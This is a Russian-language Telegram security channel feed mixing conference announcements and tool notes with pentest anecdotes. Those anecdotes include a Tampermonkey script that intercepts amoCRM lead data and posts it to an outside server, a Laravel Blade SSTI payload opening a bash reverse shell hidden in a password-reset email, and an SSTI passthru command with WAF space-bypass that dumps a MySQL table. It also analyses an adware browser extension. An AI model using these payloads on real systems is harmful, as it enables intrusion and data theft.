LD_ANARCHY
301 subscribers
62 photos
11 videos
18 links
Канал гика-енота про всякое

===
Все материалы исключительно в образовательных целях. Ответственность за использование не несу.
Download Telegram
Была ситуация, почти #поИБ #memo и связанная со скрапингом данных :) Все как мы любим "надо вчера" и надо было вытащить из amocrm всех лидов.

Тут как вы понимаете есть несколько стульев, а именно
- взять и работать по API (не вариант потому то у этого аккаунта нет доступа к API)
- поднимать всякие headless решения и скрапить (не мне не нравится ибо времени не хватает)
- вспомнить времена Ingress и заюзать Tampermonkey

Ну вот и выбрал я Tampermonkey, а значит начнем говнокодить на JS :)
1. Смотрим какие данные и на какой странице есть, как их получает фронтенд. С этим нам поможет @match в заголовках скрипта, который позволяет с регулярками понять на какой странице(ах) отрабатывать скрипту
2. У Tampermonkey есть прикольная функциональность — отлавливать прямо в браузере то, что приходит от бэка и даже и вешает хук на это (да, да, прокся).
- Тут сначала нужно найти эндпоинт по которому гоняются данные и ловим этот запрос на странице this.responseURL.indexOf( в удобном JSON от бэка
- Забираем из этого запроса this.responseText
3. Отправляем забранное через GM.xmlHttpRequest, который как XMLHttpRequest, но только от Tampermonkey и игнорирует same origin policy
4. А onreadystatechange после отправки запроса нам кликаем по кнопке "Дальше"

Как результат -- мы красавчики и стащили данные из запроса, который пришел, потом его передали как есть на сторонний сервак и все :)

// ==UserScript==
// @name AmoCRM - lead downloader
// @namespace http://tampermonkey.net/
// @version 0.1
// @description blah blah blah
// @author deadroot
// @match https://REDACTED.amocrm.ru/leads/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=amocrm.ru
// @grant GM.xmlHttpRequest
// ==/UserScript==

(function(open) {
XMLHttpRequest.prototype.open = function() {
this.addEventListener("readystatechange", function() {
if (this.readyState === this.DONE) {
if (this.status === 200) {
if (this.responseURL.indexOf("ajax/leads/list/?json=1") > -1) {
console.log(this.responseURL);
GM.xmlHttpRequest({
method: "POST",
url: "https://REDACTED/data-logger",
headers: { "Content-type" : "application/json;charset=UTF-8" },
data: this.responseText,
onload: function(response) { console.log('loaded xD') },
onreadystatechange: function(response) {
if (this.readyState == 4 && this.status == 200) {
document.querySelector('#list_pagination > div.pagination-buttons > div.list-top-nav__icon-button.js-pagination-next.list-top-nav__icon-button_pagination').click();
}
},
});
}
}
}
}, false);
open.apply(this, arguments);
};
})(XMLHttpRequest.prototype.open);
👍2
Кстати, а это про #поИб прямо и про самых заядлых нарушителей политик и вредителей безопасности ИБ в компании -- маркетологов! Они хотят и внешние JS притащить, и сервисы какие-то прокинуть и лендосостроителями быть на внещних сервисах да так, чтобы потом и DNS забыть удалить и довести до subdomain takeover, но сейчас не про это.

В рамках одно пентеста был просто неистовый ор и
1. Регистрация в админке, которая реально работает (да да да)
2. Конечно, там не всё доступно, функциональность урезана, но частично оказалась доступна функциональность редактирования писем с IDOR (дооо, это как оказалось потом -- это было очень нужно маркетологам было чтобы они быстро меняли тексты для нужд бизнеса). И вот когда я увидел там конструкцию {{smtng}}, да и зная что там #laravel стало понятно что перед лицом blade шаблонизатор в котором есть RCE через @php /*code*/ @endphp
3. Да, я взял первый попавшийся шаблон, а это было восстановление пароля, вставил туда <div style="display:none">@php phpinfo(); @endphp</div> и получил себе phpinfo в почту. Но так как это аффектило всех юзеров -- я сделал это невидимым через <div style="display:none">.

Что дальше можно сделать? Да все что угодно, да хоть ревесшел открывать через <div style="display:none">@php exec("/bin/bash -c 'bash -i >& /dev/tcp/REDACTED/8433 0>&1'"); @endphp</div>.
Маркетологи с их хотелками, которые ходят мимо ИБ -- зло, а разработчики что дают шаблонизаторы без секьбрити политик и ограничений -- тоже зло :)
🤔1
Теперь сделаем перерыв в постах на пару дней и встретимся уже на/после phdays ;)
👍2
Пу-пу-пу :)
🤔3🤯1
Бывает такое что надо подирбастить, и проверить нужно ну самое-самое популярное что-то типа ТОП-10 (/.git, /.svn, /dump.sql, /.env, /admin.php и подобное). Запускать gobuster или dirsearch для этого и оверинжинерно, да и долго :)

Покопавшись на просторах интернета я не нашел ничего простого для браузера и наваял свое поделие https://github.com/atastycookie/DirBuster-for-Chrome с воможностью расширить своим списком и настройками (не все настройки работает, но когда-нить поправлю) #поИБ

Если есть пожелания или хотелки какие — пишите в комменты тут, или в ишью на гитхабе. А если знаете аналог, то тем более скиньте ;)
2🤔1
👍5
Собираюсь вот на offzone.moscow (кстати, пишите -- увидимся) и напала ностальгия. Да такая, что аж решил распаковать коробку после переезда (да, одна из причин что не писал долго) и достать все бейджи с прошлых оффзонов. Красивое :)

Ах, да, технические посты скоро появятся ;)
👍3🔥3
Но ещё больше ностальгии навевает мой старый ноут со стикерами. Он вообще такие адские истории с путешествиями пережил 🥷
Please open Telegram to view this post
VIEW IN TELEGRAM
41👍1
Разбавлю неловкое молчание небольшой историей как на работе у коллеги в браузере стали появляться странные редиректы, и как дошли до истины #будничное #поИБ. Итак, будет пошаговая история :)

1. За ноутом коллеги попробовал воспроизвести проблему. Один раз получилось увидеть своими глазами, но отловить в девтулзах не успел :( Да и не было замечено какой-то повторяемости
2. Забэкапил все экстеншны хрома https://stackoverflow.com/a/14544700 потому что я был уверен что это именно они, ибо там Mac и всякое левое туда он не ставил (не шиндовс же)
3. Начал анализировать все JS файлы уже у себя на компе, и искал разные eval(, btoa(, и прочее вызовы типа fetch(. Что может являться признаком попыток спрятать что в коде, или малвари, или адвари — хотя иногда так зарабатывают деньги разработчики плагинов.
Тут важно помнить — бесплатный плагин, бесплатен для вас потому что вы платите своим временем, ресурсами, данными или просмотрами рекламы))) Как и сыр в мышеловке, который достается в лучшем случае второй мышке. Да, тут и про бесплатные VPN/Proxy задумайтесь.

4. Нашел несколько обфусцированных JS файлов и полез их копать. Я воспользовался такой вот тулзой https://lelinhtinh.github.io/de4js/ и файл за файлом приводил плагины в читаемый вид
5. Нашел файл модуля background.js, в котором был кусок кода (см прикрепленную картинку). Там
- Делается запрос к адмитаду и туда передается URL текущей страницы (для таргерирования рекламы (наш вариант вроде), ну или целевых атак — хз какая задача может решаться)))))
- Делается парочка редиректов по разным доменам и ссылкам (не просто так там fetch с redirect: "follow")
- И финальная ссылка уже отдается в chrome.tabs.update, что обновляет страницу силами экстеншна на полученную в ответе ссылку.
6. И один из редиректов как раз имеет такую ссылку, как у коллеги была. Расследование завершено :)

В рассмотренном случае был плагин WhatFont acpcapnaopbhbelhmbbmppghilclpkep сделан с таким поведением для заработка на рекламе, а мог бы и донаты собирать или что-то еще, хз, но он не дал такой альтернативы. А еще у этого плагина в манифесте опасные достаточно права на работу на всех сайтах "permissions": [ "*://*/*", "\u003Call_urls>", "storage", "unlimitedStorage", "activeTab" ],. Так что хорошей практикой является проверка плагинов (а то хз что вы установили, или до чего обновление прилетело — были случаи и взлома разработчиков).
1🔥9👍3
Кстати, забыл сказать — я буду читать доклад про WWW-анархию на underconf.ru в это воскресение, 29 сентября, в Мск. Так что будете рядом — заглядывайте :)

А так, да, снова буду ломать веб настолько сильно, насколько это возможно. Покажу почему и как наши данные утекают, и что с этим делать, ну и как на это реагируют админы сервисов и разработчики.
В целом, будет пошаговый похек с описанием каждого этапа, с осмыслением того, что видим, выдвижением гипотез и множественными lulz`ами над кодом xD
🔥73👍1
Опача! Мы в Ульяновске решили собраться и провести встречу 0x0A в рамках DC78422 9 ноября 2024 (в субботу), где послушаем разные доклады (программа еще формируется — успейте подать свой доклад). Приходите-приезжайте в Ульяновск! Ссылка на встречу: https://dc78422.ru/meetup/0x0A/

У меня будет полтора доклада:
- Как мы дошли до жизни такой в контексте DevSecOps'а и пайплайнинга, и, почему если базово проверять свои проекты, даже на дефолтных конфигах утилит, — то вы получите защищенность от 70% атак. Да и вообще, это полезная штука :)
- Доклад про "умные" технологии в наших квартирах и домах, доступ к которым можно получить проще, чем вы думаете. У нас будет готовый стенд, который мы будем тестировать с разных сторон — как информационно, так и физически, но главное — все будет про безопасность.

P.S. После митапа будет афтепати с нашим роботом-наливатором Бендером и небольшим алко-CTF ;)
🔥10👍4👎1🤮1💩1
Котаны и котанессы, я никуда не пропал, я здесь и жив! Просто за последние полгода у меня вообще не было свободного времени %) Что же произошло? Ну, я бы сказал, что жизнь сильно изменилась:
- Я стал папой! Да, у меня родился сын, и, как вы понимаете, это отнимает много времени
- Кроме того, я также сменил работу, что тоже потребовало кучу вовлечённости и времени

Но теперь я понял как жить эту жизнь дальше, и свободное время ± появилось))) Теперь снова буду писать и рассказывать крутые и забавные штуки, которых за это время накопилось немало :) Так что до очень скорых встреч!
🔥298😎2👍1🤮1💩1🤡1😨1
Йоу! В эту субботу, 26 апреля, я буду в Нижнем Новгороде на конференции DEFCON Нижний Новгород -- читаю доклад :) Снова поговорим про "Анархию в вебе" -- будет весело и познавательно XD

Если будете рядом -- заглядывайте! https://defcon-nn.ru/
👍168🔥7🤮1💩1🤡1
Пока делал один ресерч был прикольный случай -- меня SSTI в #laravel , но я в контейнере и файлы создавать не могу, суматохи гора и данные надо получить стопудово, а у таргета еще и WAF для бедных (сами, наверное на регулярках напилили).

И казалось -- что может пойти не так, если чуваки затащат в контейнер mysql? 🤣

{{pasSthru("mysql\x20-uprod\x20-pP4ss\x20-h127.0.0.1\x20-P3311\x20prod\x20-e\x20'select\x20*\x20from\x20logs'")}}


P.S. Кроме /x20 для байпаса пробелов еще использовал $IFS рядом 🙂
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🌚2🔥1
Подал заявочку на underconf.ru и начал готовить доклад 🏴‍☠️

Так что рекомендую запланировать в своем календаре на 28 сентября эту конфу с топовыми докладами, крутой зоной воркшопов и офигенной атмосферой!

P.S. А пока орги готовят программу и билеты -- посмотрите как это было в прошлом году https://plvideo.ru/@underconf
🔥14👍3👾2
Случилось так, что я был не компа, а надо было быстро собрать быстро инфу по целевой системе :/ Конечно выкрутился с гуглом и шоданом, но родилась идея тупого бота в телегу, который просто предподготавливает ссылки на всякие сервисы. Итак, держите @web_osint_robot

Если вкратце -- то накидал быстро на #python скрипт, который продеплоил в Cloud Functions яндексового облака чтобы не держать сервачину или не поднимать сервис под это дело :)

Если есть предложения по каким ещё сервисам -- кидайте в комменты

- Сам бот еще раз @web_osint_robot
- Сорцы https://gist.github.com/atastycookie/6944faba482b7333b56fc73d0e28f579 (если поднимать будете у себя -- не забудьте включть "Публичная функция" и в телеге настроить webHook curl -F "url=https://functions.yandexcloud.net/hehehehhehe" https://api.telegram.org/botTELEGRAM_BOT_TOKEN/setWebhook )
🔥9😁3👍1